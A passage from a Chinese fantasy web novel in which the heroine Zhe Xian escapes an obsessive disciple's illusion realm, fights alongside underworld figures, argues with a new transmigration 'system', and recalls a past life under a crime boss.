二鸰和三鸰才来了没多久又回去了,他突然甚是想念他的鸟兄弟们。
“对了,主君。”善一鸰闭了闭眼,“我刚刚在河底看到了谢必安和范无赦。”
“你说谁?”刚在阁楼掐指一算有大事发生的松倏,这会儿着急忙慌赶来,就听到两个让人火大的名字。
善一鸰看了一眼自家主君,这才继续说:“本来是我家主君追着仙君到了幽冥河,在桥边失去了踪迹,主君用灵眼追踪术探查到河底有属于仙君的灵气,我下去寻找的时候,碰上了谢必安和范无赦。”
松倏打开生死簿,上面有关谢必安和范无赦的信息果然亮了起来。
他道:“他们可对你动了手?”
“动了。”善一鸰这会儿还能感觉到自己体内胡乱暴动的灵气攻击着他的骨头。
松倏忍了忍,强板着脸没让自己笑出声,“这两个离经叛道的家伙封印结束竟然偷偷跑了回来,还胆大的越过我擅自打伤你。”
此欲何言,善一鸰心里苦,但他忍了。
“行了,既然来了就做点正事。”桑越将玉牌塞进袖子里,朝松倏伸出手,“寻星罗盘带来了吗。”
松倏不气反笑:“我说你能对除她之外的人多聊几块灵石的吗?”
“你又不是人。”
松倏一罗盘就朝着桑越面门扔去,在罗盘要砸到那张精雕玉琢的脸时,被桑越两指夹住,他手心里还没干涸的血擦到罗盘上。
“哎,我先说好,寻星罗盘找人必须得有引子啊,而且需要很强的牵绊才能成功,你要是没有这种东西,我拿过来也……”松倏话还没说完,寻星罗盘上的表针在触血的那一刻转了起来,上面刻度的第二层随着
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一层的表针开始左右摆动。
他话头卡在喉咙里,不再多言,愣愣地看着那罗盘运转起来。
架不住有人偏要炫耀,桑越伸出一指,那上面还有未擦的血,“我和她结了生死印。”
松倏:“……”
“是她主动结的。”
松倏:“……”
“而且她还曾用生死印的追踪术救过我。”
“……”
其实没人想知道。
“你有生死印的追踪术还要我拿罗盘干什么!”松倏冷哼。
说到这里桑越的神情冷了几分,他颇有些恨铁不成钢地回道:“被她主动屏蔽掉了。”
松倏:“……”哈哈哈哈哈哈哈哈哈哈哈哈哈。
善一鸰低着头,舌尖顶了顶上颚,硬生生憋住了笑。
^^
“师尊,这个地方眼熟吗?”无責走在折羡身后,将身上那股邪灵之气藏了起来。
折羡不语,只是一味地按照他的指示坐到了窗边的软塌上。
无責去外面提了一壶茶,给折羡斟茶时特地观察了一番她的微表情,什么都没看出来。
“师尊,弟子陪你下棋吧。”
他手一挥,折羡面前的桌子上落了一个棋盘。
“好。”
黑子落,白子跟随,看似紧追不舍,一直在围剿,实则一条后路没留。
折羡落下一子,一直盯着棋盘的她抬眼,无責无措,去看落子成型的棋局,那一子将他追随的那些棋子拦截绞杀。
他的棋子死了一大半,就像他曾经为了复活师尊,折损的那些亲信下属一样。
这都没什么,毕竟师尊已经在身旁,也跑不掉了。
无責垂眼,给折羡倒了一杯茶,“我输了,师尊。”
“师尊对我一向是赶尽杀绝的。”无責似是自嘲般的说了这么一句,引得折羡施舍般赏了他一个眼神。
“我知道,师尊现在没有记忆,不记得曾经的事,可你始终是你,就连这种明明看上去好像事不关己,却每次都要多管闲事的性格,经过这么多年,依旧这样。”
“救佥麟,救桑越,为卞青正道,帮久颜,替承漾解决麻烦,去超度线城那些死了还想害死亲人的鬼魂。”
“你总是这样,对谁都施舍,谁都可以分走你的善心,谁都可以获得你的怜悯。”
“因而世间人感激你,也憎恨你。”无責说到这里,恨意几乎将他圈在了自己的世界,他自虐般继续说道:“我有时候真想把那些狗东西全部解决了。”
“但我实在不得不这样想,师尊,如果这世间的生灵都厌恶你,憎恨你,恨不得你去死,恨不得你马上消失,你被它们所伤所厌,那这世间爱你的,便只会独留我一个。”
他越过棋台,虔诚地跪在折羡面前,“你能依靠的,你无法诉说的情绪,都只有我知道,我将拥有完整而唯一的你,只有我知道你多好。”
无責捧住折羡拿黑棋的手,完全地屈身,低头去蹭她的手,衣袖在折羡伸手落到棋盘上时便滑到了关节处,露出白皙纤细的手腕。
当脸颊碰到折羡手腕处那透明色手镯时,她眼底一片清明。
“啪”的一巴掌,无責的脸偏在一边,棋子落了一地。
25. 结界幻境
折羡另一只手揉了揉眉心,没忍住观察起了四周,眼熟的她一时间没想起来在哪见过。
倒是无責,挨了一巴掌,也不敢上前,坐在地上摸着脸颊,不知道在想些什么。
折羡刚从精花手镯里被放出来,恐怕连无責自己都不知道,他那个什么催眠粉,有散灵的作用,她的魂依旧还在身体里,但她的灵被催眠粉影响,跑了出来,这之后她就成了一具典型的有感觉没意识无法操控的活尸。
因着魂灵二者在肉|体里缺一不可,少了一部分,隐若那边不知是绑定出了问题还是那个傻叉主神又犯病,一人一统突然断联。
最让她无法原谅的是,这个神经病娇竟然把她用得无比趁手的武器给扔了。
灵从精花回到身体里的第一时间,她就给了这人一巴掌。
先前那些话也如飞流直下三千尺的瀑布一样,没任何屏障地冲进了她能思考的大脑里。
折羡:“……”
“师尊以前打我都不会亲自动手,常常是让我自己去领罚。”这又唤起了折羡那次没思考完的事,那个神秘女人,到底是不是承漾?
如果是,无責前面不会说她替承漾解决麻烦。
如果不是,那就只有一个可能,她是那个女人的转世。
被自己的想法惊了一瞬的折羡忍不住再次朝无責看去,那一眼,竟带着些“徒之错,师之过”的惭愧。
“那你还不去领罚。”折羡拿起桌上的茶,又放下,快速扫了眼棋盘上的残局。
无責注意到她的眼神,“师尊还想下棋?弟子陪你。”
“不用,自行领了罚别出现在我面前。”
“那可不行。”
无責边捡棋子边整理着装,“师尊,今日起,弟子不会离开师尊视线半步远。”
“你不想和我下棋,那你想和谁?是不是在你眼里,只有他桑越带来的人才能入你的眼。”无責把黑白分明的棋子一颗颗放回罐子里,眉心处的花印又淡了一分。
这人的故事线到底停在哪个时间段,折羡突然有些好奇,“这关他什么事?”
无責见她为桑越开脱,没了谈话的心情,“没什么,弟子去领罚了。”
“师尊,不要跑,离我太远你会受伤的。”
折羡转了转手腕,一点灵气没掐出来,她暂时老实地玩起了那些棋子,手指忍不住点手镯。
^^
“怎么样?方位辨出来了吗?”松倏看着脸色越来越苍白的桑越,有些担心地问道。
他今日推算出来的卦象并不算好,而且天有异象,不知这变故是谢必安和范无赦带来的,还是无責带来的。
“没有。”桑越聚起灵气,用手在罗盘中间调转了一下表针,针再次移动,他眼中闪过一道画面,“怎会如此。”
“寻星罗盘的指向每次到沧君山就断了。”
松倏怀里的笔拱了拱,化成一个小松鼠坐在他肩上,“沧君山?”
“那里不是有结界吗?”
“所以罗盘的定位被结界拦下来了?”松倏肯定道。
“嗯。”
“不对啊。”淮衿坐在肩上也不老实,一溜烟蹿到了松倏的手上,松倏捧着祂,祂扯了根头发,头发在他手里成了一张材质偏黄的纸,祂掏了半天摸出笔,在上面欻欻来了几笔。
下一刻,纸被他丢出来,在他们面前炸开,一副沧君山的实景图像雨过天晴的彩虹,在半空中炸开出现。
沧君山是一座很大的山,连接每界的界限都很模糊,属于共生地带。
在所有史册中,这里的结界从来没有哪一界的生灵打开过。
只有等到它自动开启。
“冥界通往沧君山的入口结界,松树和我都打不开,他怎么能悄无声息地进去?”淮衿将入口位置放大,方便另外两人查看。
“有一个人可以做到。”桑越看了一眼就收回了视线。
松倏倒是多看了一会儿,甚至隐隐觉得这个入口有些眼熟。
“得进去后罗盘才有新的指向。”
松倏叫住他,“你说的那个谁,现在已经叛出魔界了吧,说不定他和无責是一伙的。”
“那我自己破。”桑越脚步不停。
“他为什么叛出魔界,我记得你们之前关系挺好的。”松倏跟上。
桑越:“你能想办法让我恢复记忆吗?”
松倏:“?不是,你什么时候失忆的?”
“我说你怎么这次过来这么奇怪,感情是脑子里缺了块东西。”
桑越停了下来,“像你这种脑子没缺东西的说话也没过脑子,估计是天生的吧。”
松倏:“……”
他就说话不多的人说出来几句话也不中听。
“你缺了哪段记忆?”
“近几百年的记忆都没有。”
“你怎么不早联系我?”松倏简直要被他这招弄得没表情了,不过因着谢必安和范无赦的事,他其实已经好多年没出过冥界,对外界的事也多是在生死簿上阅览。
偏偏桑越的生死簿信息被锁,他看不了。
他之前说的也没撒谎,淮衿是上古仙兽所化,也是天命笔和生死簿的真身,他的魂灵和肉|体,各执一物,合成了可以书写这世间千万命运的握天命真身、掌生死轮回的祂。
有个限制条件是,他和淮衿都无法按照史书上记载的那样,完全地使用天命笔和生死簿。
松倏曾经给他和淮衿都算了一卦,那次他用的是他最擅长也最能窥探天机的术数。
也因此付出了极大的的代价,他的魂灵遭到反噬,灵气大跌,身体受不住灵气的刺激,全身皮开肉绽,几乎接尽一具尸骨。
淮衿被他连累,百年内没能恢复人形。
就连天命笔和生死簿的等级,也从天级降到了地级。
术数探出的结果是:知未知者,未能改未知,既成定局,难破苍穹。
在那个转瞬即逝的空间画面里,他看到了很多人。
那之后,生死簿降级,很多品级上等的魂灵的生平事迹,他都查看不了。
至于淮衿,自那之后祂有关天命笔和生死簿天级以上的记忆,因为他的一念之差天机泄露而被天道抹去。
恰巧他受伤那时,谢必安和范无赦两个狗东西也跑了,等他问淮衿查生死簿时,才知道淮衿被他们二人胡乱使用,既定的命运线被改,出了大事。
接下来的时间他派了很多下属去解决那些坏掉的线。
而这两人,不仅消失在冥界,就连生死簿上的名字,都不再亮起。
他曾一度以为这俩魂飞魄散了。
哪知过了这么久,突然又冒了出来。
这么多年
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的旷工,害得他连轴转安排下属去轮他们二人的职。后来淮衿能恢复人形后,才作为判官亲自去各界走动。
“你懂什么叫失忆吗?”桑越继续盯着罗盘,“我能主动联系你,那说明我离恢复记忆也不远了。”
“你这是什么逻辑,一个没有记忆的魔君醒过来第一件事,难道不是想办法恢复自己的记忆?”松倏辩驳道,“那第一步就应该在脑子里找有记忆的相关人员。”
松倏一拍脑袋,“我忘了你之前的记忆也在我这。”
桑越脸上空白一瞬,“你说什么?”
淮衿大声道:“他说,他偷了你前几百年的记忆。”
下一秒后脑勺被一记小钉锤敲了敲,“嗷,松树你又打我。”
“谁让你大叫的。”
三个不同品种的化身为人形的家伙到了沧君山结界下。
桑越拦住他,“你先把前几百年的记忆找了拿给我,近几百年的,应当被承漾丢进了沧君山。”
“你们之间到底发生了什么?”松倏想到抱意对着他摆臭脸就不解。
“那得看你找不找得到我的记忆了。”
松倏给孟婆传了道信,让她去转生阁库房里找桑越的记忆。
“哦对了,你跟来做客的抱意、久颜说一声,我们去了沧君山。”切断通灵器,他恢复自己的不正经,笑嘻嘻地问:“所以你打算怎么进?”
^^
折羡体内没有任何灵气波动,玉牌不在,隐若断联,精花除了能温养她的魂灵和吸收别的魂灵,毫无用处。
在这个没有灵气随时能被掐死,一阵风刮过都有可能被绞死的大陆,她在现代的武功突然就有些乏力。
好在,她的储灵袋无責没给她丢掉。
问题又来了,储灵袋没有灵气,无法打开。
“……”
她真没辙了。
一壶茶都快喝完,无責没回来,她饿得想吃棋子。
她出了房间,外面果然雪白一片,和她在那个女人(有可能是她前世)的身体里看到的景致一般无二。
有些不同的是,远方的山峦模糊一片,像是雾气太深,又像是虚无幻境的延伸。
地面层的雪深一脚浅一脚,落下后没过多久,折羡发现那些脚印消失了。
这时并没有下雪。
果真是幻境么。
折羡捡起一截树枝,在厚厚的雪层上画了一下记忆里的那朵花。
画完她就坐在一旁的椅子上,看着那花慢慢消失。
心里默数着时间。
她重新画了一朵,再次算了一下消失的时间。
第一朵完全不见大约是一盏茶的时间,第二朵接近于一炷香。
也就是说,这里的幻境正在逐渐向现实现实万物靠近,模仿,复制。
从刚开始的没有,到适应,到完全留下。
这就是无責想要的。
“仙君,先用膳吧。”
折羡转过来,以为自己看错了。
她眨了眨眼,对面站着一黑一白两个不算人的鬼影,其中一个戴着长舌面具,官帽上刻着“一见生财”,身穿长袍,右手里端着一个托盘,左手上还绑着手铐。另一个戴着凶煞脸谱面具,官帽上刻着“天下太平”,略微矮旁边影子一点,也提着食盒,另一手垂在一侧,露出半截脚镣。
26. 结界幻境2
折羡又看了一眼完全没有消失的花,再次把目光落到那两个鬼影身上。
“……”
“黑白无常?”形象跟她见过的传说简直一般无二。
只是面具遮住了脸,看不到真实样貌。
谢必安把手铐往前一丢,化形成了一张桌子,摆在折羡面前,他把托盘里的吃食都放上去,“仙君,你先吃点东西。”
范无赦也打开食盒,“这里有点心,也可食用。”
“你们二、人,咳。”折羡没找到形容词,“是无責的手下?”
“仙君,请用膳。”
说完俩鬼影就转身退到一旁,在他们转身时,官帽后方写着“你可来了”“正捉你呢”。
折羡嘴角一抽。
“你们可认识转生阁阁主?”
“不认识。”
“认识。”
谢必安瞪了范无赦一眼,“仙君问这个做什么?”
“没什么,就是听说阎王……”折羡筷子夹了一块肉,放碗里捯饬了两下,“也就是阁主,丢了两个宠物。”
范无赦藏在面具后的脸变换不一,眼里满是怕被发现的心虚。
反观谢必安就淡定多了,他勾起一个折羡看不见的笑,面具上那诡异的长舌都跟着弯了一下,“是吗,那那位阁主真是不小心。”
折羡也跟着笑,“我看他那样还以为宠物死了,瞧他可伤心。”折羡放下筷子,“不过我倒是挺好奇的,你们不是号称冥界公务最忙二人组吗,怎的还有空给我送饭?”
谢必安只挑没用的答:“给仙君送膳食是我们的荣幸。”
“那我可真有面子。”
“你们在聊什么?”无責不知何时出现在了谢必安和范无赦的身后,正面色不虞地盯着他们。
偏偏折羡还要火上浇油:“他们说想天天给我送饭,觉得和我很投缘。”
“投缘?”无責琢磨着这两字,掐着谢必安的脖子又问了一遍,“你和师尊投缘?”
谢必安被掐着一句话说不出来,只能下意识用手去掰无責的手,“神……神君……”
无責听到他的低语,赶紧把人丢了出去。
范无赦还没来得及求情,就跟着谢必安一起被赶了出去。
“师尊,弟子已领罚悔过。”无責跟着折羡旁边坐下来,“求师尊垂爱。”
还真去悔过了,连用词都没那么激进了,也不知道这种自我消化自我开解是用的什么法子。
“你先把我体内的毒解了。”
无責拿起筷子给她布菜,“师尊说的什么毒?徒儿不知。”
“嗯?”
“弟子不知。”
“刚刚那两个人——”
“我都在这里了师尊提旁的做什么,师尊不是饿了么,先吃饭吧。”无責甚至夹着菜喂到了折羡嘴边,另一只手也伸了出来,似是怕菜掉到了折羡的衣服上。
折羡后撤了一步,眉头皱的死死的,这行径,和当初那个人一模一样,她最是厌恶别人自作主张,自以为是。
还打着爱你的旗号玩强制这一套,她真是想给这家伙头扭断。
哪怕这个人长得很好看。
扭下来当个标本也不错。
“你先把筷子放下。”折羡笑意更深,连带着眼里一闪而过的杀意都被无責错看成是他的倒影,他听话地将筷子放下。
折羡招了招手,“过来。”
无責心跳的很快,他感觉自己花了好长时间才控制住手脚,往折羡那里靠近。
“你觉得我好看吗?”折羡眉眼弯弯,原本就只在头上插了一支发簪,这会儿她一扯,头发全散了下来。
无責目不转睛,离得近了,折羡那张极具冲击性的脸就这样盛满他的眼,一直蔓延到整个心脏。
“好看。”他说,“师尊是这世上,独一无二的、最最美的神明。”
折羡不想纠结他的用词,只是在他靠近时先摸上了他的脸,“你也好看。”
“就是脖子这里跳动的脉搏,连带着下方的心跳,都太快了。”
细簪插进无責脖子里时,他的眼里还满是折羡,等到后知后觉的疼痛传来,他才闷哼出声。
“师尊……”他快速用灵气止血,又急忙去拦折羡,“你没有灵气,这点如同凡人的刺杀杀不死我。”
“别跑,师尊。”
折羡根本没想跑,她拔出簪子,又刺向了心脏位置。
“能伤你也成。”
她在灵回到身体时就已经利用生死印给桑越传了位置。
比起这种没法控制危险又极大的纯坏种,她突然觉得桑越偶尔两面三刀的形象也还行。
至少,桑越为了保持人设不会在她面前做逾矩的事。
无責脖颈和心脏位置都被发簪所伤,折羡下得死手,捅得位置用的力都是精心把握的,就算不死,也会对体魄造成大伤。
修行者体魄和魂灵一样都很重要,不然也不会有灵体一说。
越是品阶高的灵体,受到的致命伤,也越严重。
四周的景象开始抖动,那朵她画在地上的花也慢慢地开始淡去。
桑越和松倏恰巧在这时进入,幻境裂得更快。
一来先暗暗观察折羡受没受伤的桑越,见折羡一直在盯着地面看,也朝那处望去,那花只剩下一个轮廓,大致形状还在,他正要问什么。
“快走,这里要塌了。”松倏一巴掌拍开要上来抢人的无責,催促桑越赶紧带着人走。
幻境轰然塌陷,雪白的世界褪色,无責跌坐在地上,“师尊,我想与你共长眠。”
“加上他们也行。”无責说。
桑越收回视线,“你的东西。”
接过玉牌,还隐隐发热,折羡触碰上,脑子里隐若跟终于连上电开机了一样,“主人……”
“先别吵。”折羡把玉牌挂在腰间,“你自己一个人死去吧,快走。”
“你以为现在还走得了吗?”
无責突然笑了起来,笑声里藏着可悲的爱意,“师尊,这里的结界,除了他,谁都解不开。”
“他是谁?”
“当然是你的好挚友啊师尊。”无責一手的血,那血不是红色,而是青色,同他额间越来越淡的花印一样。
“可惜的是,他已经死了。”
无責化身为蛟,长鸣嘶吼,在空中盘亘,“师尊。你恨我吗?”
恨我为了复活你,杀了很多生灵。
淮衿从松倏肩上跳下来,天命笔自祂手中脱落,在天地间炸开,毛茸茸的笔刷扫过众人,生死簿于祂手中展开,巴掌大小的簿子成了容纳各方命运之灵的载体,形形色色的魂灵游走在其中,山河显现。
“哈哈哈哈哈哈哈哈……”无責捕捉到那上面闪过的人物,知道他想干什么,“你想从这里面找出那个人来解这结界吗?”
“我说了他已经死了!”无責低吼一声,蛟龙缠绕上天命笔,同淮衿打了起来。
松倏当即挡在淮衿身前,“我跟你打。”
“你?”无責不是看不起他,而是这家伙本身就不是个能打的,一个破占卦的灵气和技能全用来推演
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了,他一爪子上去就把松倏抓出了血。
真以为松倏万能之王的折羡和桑越对视了一眼。
“我去。”
桑越用灵气接住松倏,把他同还在找人的淮衿放在一处,给他们弄了个保护结界。
折羡试着动了动灵气,此处幻境已经不再完整,对她的影响也没那么大,但她体内还真有毒在压制着灵气的运转,此毒很怪异,只要她有用灵气的念头,就会将她的灵气吸收掉。
没有什么反噬或是让她痛不欲生,偏就折磨着不许她用灵气。
得亏隐若这玉牌还能用,和她连接上后,隐若可随折羡内心所想幻化成想要的武器,瓷玉剑一出,无責彻底被激怒。
他的前爪结印,蛟龙在空中长吟,幻境中出现一大波人将折羡围住。
这些人包括但不限于,刚和折羡见过面的黑白无常,曾经丑得折羡差点下死手的哓识,和久颜抱意交过手的罕间,被强行拉进来的久颜,主动找过来的抱意,以及他们手上没来得及送给折羡的兰璎、苜夭两人。
场面焦灼,桑越和无責打得有来有回,松倏零战斗力,淮衿还在找那个能破结界的人,腾不开手,久颜被迫一个人对战黑白无常两个,罕间那个一砍就分身的家伙被抱意化身的雪鸮叼去了半空。
剩下的几个都虎视眈眈地盯着折羡一人。
这几个战力不强,但难缠,尤其还有哓识这个恶心玩意儿。
“小阿若,等会儿我体内的灵气一聚起,你就借着玉牌为载体将其全部吸收过去,一定要快,快过毒药吸收的速度。”折羡鼓励道:“你是一个合格的高维系统,做到这点对你来说应该很简单吧?”
隐若骄傲地抬起头,坐在玉牌里被夸得找不着北,只是一个劲的点头说自己肯定可以。
是的,离开折羡不过一日,隐若在玉牌里给自己憋出来一个实体。
实体是个看上去毛茸茸实则冰凉凉的小神兽形象,黑金相衬,和玉牌一个色调。
“好。”
瓷玉冷冽,剑气随这幻想里的大雪一样,滑落到脸颊,带着凛冽的寒气,顷刻间飘向四面八方。
就在这时,折羡体内涌现出大量灵气,隐若肥肥的前爪聚拢,双眼凝实,黑金色的神兽冲出剑身,带着巨大的震慑力,怒吼出声,一口气把三个妖本体全吼出来了。
三个原形毕露的妖瘫在地上一动不动。
保护结界里的淮衿终于在人山人海的信息中找到了那个能破结界的人。
那人的信息灰暗定格,宛如死了多年,给淮衿看得心里一咯噔。
松倏恰好从卦象里出来,淮衿也画完最后一笔,他只来得及打掉笔,“不要!”
生死簿异象生变,画像里的人物碧波流转,在山河景象里显身,从淮衿笔中诞生。
淮衿睁着迷惑的黄棕色的大眼睛,歪头问松倏:“什么不要?”
“不要画!”松倏闭了闭眼,情况好像更糟糕了。
“为什么?”淮衿画完这个人物几乎耗费了他所有灵气,现在累得退回成小松鼠,瘫在地上。
天命笔也因无人控制,缩回到正常尺寸,掉落在淮衿旁边。
“砰”的一声,接近于天空的结界松动,那里出现了一个人,而在这时,生死簿上的人物同样‘活’了过来,自簿子上一跃而起,和结界位置处的人相视而战,二人外形相貌一模一样。
所有在场的打动的人都停了下来,就连破败欲坠的幻境都凝滞了一分。
空气中弥漫着无尽的硝烟,淮衿瞪着圆溜溜的眼睛,愣在原地。
27. 妙笔生生
淮衿之所以是孩童模样,因为万物初始为雏婴,始为道,道生一,一生二,二生三,三生万物①。万物于祂之下的创造,是伊始,是孩童的懵懂建立之期。
淮衿的厉害之处不在于祂能以天命笔书写世间圣灵的故事,而在于祂能以天命笔和生死簿绘出万事万物伊始之初,以画成苍生,以墨定极色,妙笔生生。
一切都有了开始的迹象。
而这也奠定了祂的不同之处,能创造书写万物,自然也会被万物所反噬,因而松倏轻易不会让祂这样做。
等他一个没看住卜卦出来时这家伙已经画完了。
“松树,我是不是做错事了?”淮衿眨巴着眼睛,在那两个看上去完全一样的人身上来回逡巡。
淮衿没了平时的笑脸,看上去像是背了座大山在身上,淮衿撑着一口气一溜烟跑到了折羡身后,折羡把祂拎起来放到肩上。
“淮衿。”松倏真的笑不出来一点。
而这时,折羡脑子里响起一道系统音:“恭喜宿主。让任务对象为您使用特定技能——妙笔生生。”
“隐若。”折羡直觉不对,“小阿若?”
隐若依旧待在如今还是瓷玉剑形态的玉牌里,乐呵呵地欣赏自己刚才帅气的操作。
折羡盯着傻乐的隐若,面无表情地问脑子里那个突然冒出来的东西:“你是谁?”
“宿主,您好。”系统不带一丝一毫感情的电音一字一顿地道:“我是您的专属系统三三。”
折羡哦了一声,状似无意地问了一句,“你怎么才出现?”
“十分抱歉,宿主。”系统三三的回答依旧毫无感情,“之前一直处于病毒查杀状态,没能及时为您提供帮助,您可以向管理局主神处发起投诉,以此获得您应有的赔偿。”
“那你知道在你来之前,都是谁在给我派发任务吗?”
“我这里保留所有的影像记录,宿主不必试探三三。”系统三三调出折羡这几个月来所干的所有事,总结道:“宿主很优秀,对任务也很上心,但由于管理局最新一次系统大更新,现对任务做以下调整。”
“找到精花中所需的魂灵,让其心甘情愿温养精花,魂灵无需带回主神空间。若遇到令精花变红的恶灵,杀死即可。”
“由于宿主未反馈投诉,现对宿主进行补偿式资源补充。”
“提示:天下万物同根同源,相生相克,正邪一体,一分为二,所想即所愿,所求在眼前。”
好一个谜语式的补充。
“你来了,它会去哪里?”
系统三三:“回收,拆除代码,重建。”
折羡毫不犹豫:“请求开启投诉渠道。”
“十分抱歉,宿主,您的投诉期已过。”
“请求查看任务进度。”
“以下是您的任务进度查询。”
一串串代码飞过,最后弹出来一个类似于快捷键的东西,折羡按照意念点开。
【任务对象激活度:百分之五十。
久颜个体收集度:百分之二十
抱意个体收集度:百分之二十
松倏个体收集度:零
淮衿个体收集度:百分之五十
新的任务对象已出现,请做好判断后进行收集。】
折羡瞥了一眼那两个一模一样的人。
“请求任务退订。”
系统三三:“十分抱歉,宿主,神父在沉睡期间,整个主神管理局暂不开放,无法退订。”
“可以,你也知道我对任务到底上不上心,如若你真的要带回隐若,我也不阻拦,但它和玉牌共生,你带走它,而玉牌是主神给我的金手指,你的意思是要违背你伟大的神父的旨意吗?”
“不。”
系统三三:“宿主,请您不要偷换概念。它只是一个错误bug,准确来说,它是我错误的一部分,不存在带走的可能,现如今只是正常修复。”
折羡点了点手里的剑,隐若感应到,扭头看她,嘻嘻一笑。
“我有个问题,既然你们能带我来这个世界,那么我是否可以理解为,你们的规则凌驾于这个世界的规则之上?”折羡目视前方,这会儿那两个长得像的人一个在按照淮衿造出来的在破结界,另一个则是在修补结界。
有种誓要跟大家同归于尽的死感。
“不。”
三三毫无温度的电音在折羡脑子里响起:“任何世界的运行,都不能凌驾于规则秩序之上。”
“这是你们神父定的?”
提起神父,三三跟隐若的态度完全不同,如果说隐若真的把主神当作父亲,崇拜祂只手遮天的能力,那么三三完全没有一丝一毫的情绪起伏,真的高维理性的AI机器没区别。
“不是,这是共识。”
折羡笑了一下,“你看到了吗。”她指着剑里的那个小神兽,“同时拥有魂灵和□□,它属于这个世界的生灵。”
“也就是说,你不能越过六界杀生法则,带走它。”
三三:“……”
“宿主这么执着留下它是为了什么?”
“那你凭什么觉得,我会喜欢你这个突然冒出来的机器?”
淮衿坐在折羡肩膀上,拿爪子戳了戳她的脖子,“结界破了。”
没想到那个补结界的人功力竟然不如淮衿画出来的那个,折羡单方面结束和系统的对话,所有看戏的见结界打开,跑的跑,散的散,还有一小部分在继续打。
这其中就有把罕间叼起来试图甩晕他的抱意。
谢必安扯过范无赦,“带主上走。”
范无赦手里的脚镣飞出去,把还在打架的无責捆住。
“主上,结界破了,咱们快走。”
无責推开他,“那就鱼死网破。”
“主上三思。”范无赦嘴里说着敬语,脚镣依旧绑着无責的一只腿,硬生生带他离开了那里。
桑越要追着过去,孟婆提着个花盆赶来,“阁主,您要的记忆我带来了。”
说着就从上方扔下,花瓣四散开来,飘飘落落在空中翻飞,中间的花蕊飞入桑越脑中,这记忆如利刺般,将他定在原地。
折羡扯着他的胳膊,勉强没让他跌到地上,“那是什
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么东西?”
“我的……”
一句话还没说完,那边的谢必安见无責已经安全,也要偷偷溜走,被淮衿的生死簿一巴掌拍到,松倏又慢了一步阻止祂。
只得赶紧去踢生死簿。
生死簿页面朝上,大开着,比松倏这个老年人手速快多了,大家刚从幻境结界处出来,又眼前一黑,被吸进了生死簿里。
松倏:“!”
其他人:“……”
侥幸跑掉了的无責和范无赦:“。”
世间皆知,生死簿记录灵的一切,配合天命笔有逆天改命之能,却不知生死簿的另一层,是与创造万物完全相反的灭世之恶。
生死的极端如同善恶的两面,都是两者相生相克相伴同行,若生在前,在明亮光鲜的表面,那么死便藏在其后。
若生死皆在世间流转,被天命笔记录,那么善恶便隐入其中。
淮衿手握天命笔,执笔绘生死,这是在他作为主体的情况下。
现如今,所有在场的生灵,都被带进了生死簿里,执笔者也成了其中一环。
这是松倏最不愿看到的。
幻境破,生灵困,苍生现,万恶起。
眼前的图景,折羡很难用她之前在现代的那十几年的经历去描述。
刚冒出枝桠的树迎来的不是阳光,不是雷雨风霜,只是轻飘飘的褪色,那是新生和死亡的折中,也是二者的不停转换。
恶灵含着善灵的头颅,想要吸为己用,善灵捧着恶灵的身子,诉说着低微的怜悯。
一切的因果都在下一秒化为灰烬,成了枝桠低垂亲吻恶灵,枯败的树杈戳死为它浇水的善灵。
看似所有的一切都混在其中有条不紊地进行着,只有折羡能听见耳边的吵闹。
是毫不掩饰由内而外的坏笑,是悲天悯人献祭苍生的释然。
两边交织着拉拢她,而她竟然对两边的情绪都生出了亲近之感。
“折羡!”
折羡转身,在自身情绪完全被融入之时,桑越静静地站在那里。
这是她第一次听见桑越叫她的名字。
一如既往地,很好听。
哪怕他说句骂人的脏话,估计都会让折羡莫名其妙的心安。
她想。
“我们走吧。”
“去哪?”
桑越放下的袖子刚好遮住了手臂上的烧伤,他道:“去魔之域都。”
“同伴,你看起来很想我去你的地盘。”
“是的呀仙君。”
“你怎么找到我的?”折羡手指颤了颤。
“你忘了吗?我们可是有生死印的。”
“桑越,有没有谁说过,你很会撩人。”折羡望着他,眼底暗色一片。
桑越放缓了呼吸,他轻轻笑了笑,道:“仙君是第一个。”
“仙君,只有你说过,我是个爱笑的人。”
“也只有你,会耐心听我说话。”
“我很开心。”
“折羡。”他低声呢喃,声音在身后纷飞的世界里,那么小,又那么突兀。
28. 前尘往事2
“从今以后,你就是我的义女。”
“从现在开始,小献便是我最亲近的情人了。”陆棹单手压着她的腰,左手指腹蹭着她的脸颊,眼神专注,像是在欣赏一件最完美的艺术品。
陆棹揽过她,把人往聚光灯下一推,这场跨国商会成了陆棹一人炫耀的谈资大会。
来来往往的目光游走在折羡和陆棹之间,有的甚至以为自己行了放在折羡身上的目光从来没挪开过,还是陆棹一个手势被保镖请了出去。
折羡趁着陆棹谈事的空档溜了出来,耳麦刚连上,那头的声音顺着电流传来:“怎么样,能直接动手吗?”
折羡身处的位置在宴会厅的另一方,从她那里看去,恰好能将宴会的布局尽收眼底。
她身上有另外的定位器和监测仪,她不能说话,手指轻敲在包裹着礼服的外套上。
“再等等。”
“精确一下。”
“零点五十。”折羡从外套里摸出一根皮筋,将造型师精心设计的发型扯乱扎成单个利落的马尾,反手把外套丢了出去。
时间一到,她从后背抽出匕首刺向大腿处,那里的芯片被匕首切成两片,来不及处理伤口,宴会厅的警报器响起,随之而来的是枪声。
折羡从窗口越下,直接跳到了宴会厅的角落处。
礼服有血渗出,她没时间处理,只得打翻了红酒泼在上面,让两者颜色融在一起。
陆棹刚找过来,就看到折羡拿着湿纸巾在擦拭衣服。
“信息泄露了,赶紧离开这里。”
折羡隔着湿纸巾擦到了陆棹的手上,她捻了两下纸巾的脏污处,没看陆棹,“撤退路线被毁了,出不去。”
陆棹低声咒骂了两句,去拉折羡,“我带你走另一条路。”
“陆棹。”折羡松开纸巾,“十五年前,你见我有不死之身,收我为义女,培养我为你最器重的下属。”
“这么多年过去了,你那份称霸五洲的雄心,被我为你出生入死干那些不入流的勾当赢来的胜利魅惑住了吗?”
陆棹那张明显不再年轻的脸上多了几缕皱纹,眼角的肃杀之气早在这十多年的潜移默化中消磨殆尽,他漆黑的瞳孔深不见底,“能被我一手培养出来的女人所俘获真心,我自是得意至极。”
“你的真心就是拿我当替罪羊送给警察,为你这些年犯得事脱罪?”
“你这话什么意思?”他陆棹虽说不是什么好人,可也做不出推女人出去顶事这种没品的勾当,何况还是他刚看清心意爱上的女人。
折羡抹掉眼角的泪,故意曲解:“你说我是你的情人,比起你众多义子中的一个,这层身份不是更会让我陷入众矢之的吗?”
“小献……”
“别这么叫我。”折羡后退一步,“其实你取得这个名字我也不喜欢。”
“陆棹,既然你不准备推我出去替你顶罪,那你就自己进去吧。”她抓住陆棹的手,一个翻身将陆棹按在桌子上,若是十五年前,十岁的她必然打不过陆棹。
